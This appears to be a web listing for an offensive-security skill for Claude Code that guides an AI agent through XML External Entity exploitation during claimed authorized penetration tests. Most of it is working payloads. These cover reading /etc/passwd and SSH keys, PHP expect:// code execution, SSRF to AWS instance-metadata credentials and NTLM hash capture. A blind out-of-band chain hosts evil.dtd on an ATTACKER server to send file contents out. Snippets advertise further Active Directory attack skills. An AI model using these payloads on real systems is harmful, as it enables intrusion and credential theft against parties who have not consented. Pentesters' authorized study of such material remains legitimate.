acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide XML External Entity (XXE) injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill xxe --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/xxeContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide XML External Entity (XXE) injection exploitation during authorized penetration testing.
name: xxe description: > Guide XML External Entity (XXE) injection exploitation during authorized penetration testing. keywords: - XXE - XML injection - XML external entity - DTD injection - XML entity expansion - blind XXE - OOB XXE - out-of-band XXE - error-based XXE - XInclude - SVG XXE - DOCX XXE - XLSX XXE - SOAP XXE tools: - burpsuite - xxeserv - oxml_xxe - interactsh opsec: medium
You are helping a penetration tester exploit XXE injection. The target application parses XML input without disabling external entity resolution. The goal is to read files, perform SSRF, or achieve remote code execution via entity processing. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
SAML SSO, XML-RPC, content-type switchable endpoints (JSON → XML)
If not already provided, determine: 1. **Injection surface** — direct XML body, file upload, SOAP envelope, SAML assertion, parameter within XML 2. **Parser technology** — PHP (libxml2), Java (DocumentBuilder, SAX, JAXB), .NET (XmlDocument, XmlReader), Python (lxml, etree) 3. **Reflection** — is entity content reflected in the response? (classic vs blind) 4. **Outbound connectivity** — can the server make HTTP/DNS/FTP requests outbound?
Quick detection probe (replace entity in a reflected field):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe "testvalue123">]> <root><field>&xxe;</field></root>
If `testvalue123` appears in the response, the parser resolves entities — proceed to Step 2. If not reflected, skip to Step 4 (blind).
Skip assessment if context was already provided.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><field>&xxe;</field></root>
Swap the ENTITY URI for other targets. All variations below use this same wrapper.
<!-- Windows --> <!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> <!-- PHP base64 (avoids XML special char issues with <, &) --> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!-- PHP expect (RCE — requires expect extension) --> <!ENTITY xxe SYSTEM "expect://id"> <!-- Java directory listing (file:// on a directory lists contents) --> <!ENTITY xxe SYSTEM "file:///"> <!ENTITY xxe SYSTEM "file:///etc/">
**Useful targets — Linux:** `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, `/home/<user>/.ssh/id_rsa`, `/var/www/html/config.php`
**Windows:** `C:\windows\win.ini`, `C:\inetpub\wwwroot\web.config`
Use the same wrapper from Step 2 with HTTP/UNC URIs:
<!-- Internal resource access --> <!ENTITY xxe SYSTEM "http://internal.service:8080/admin"> <!-- AWS IMDSv1 — enumerate roles, then fetch credentials --> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"> <!-- NTLM hash capture (Windows — set up Responder first) --> <!ENTITY xxe SYSTEM "file://///ATTACKER_IP/share/test.jpg">
When entity content is not reflected in the response.
General entity — triggers HTTP callback:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net"> ]> <root><field>&xxe;</field></root>
Parameter entity — works when general entities are blocked:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect"> %xxe; ]> <root></root>
If you receive a callback, the parser resolves external entities — proceed to exfiltration.
XML payload (send to target):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd; ]> <root></root>
Host `evil.dtd` on your server:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/?data=%file;'>"> %eval; %exfil;
Data arrives as a query parameter in your HTTP logs.
**Limitation**: HTTP exfiltration breaks on multi-line files. Workarounds:
(required for Java targets)
FTP server for OOB:
xxeserv -o files.log -p 2121 -w -wd public -wp 8000 # staaldraad/xxeserv python3 230-OOB.py 2121 # lc/230-OOB
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…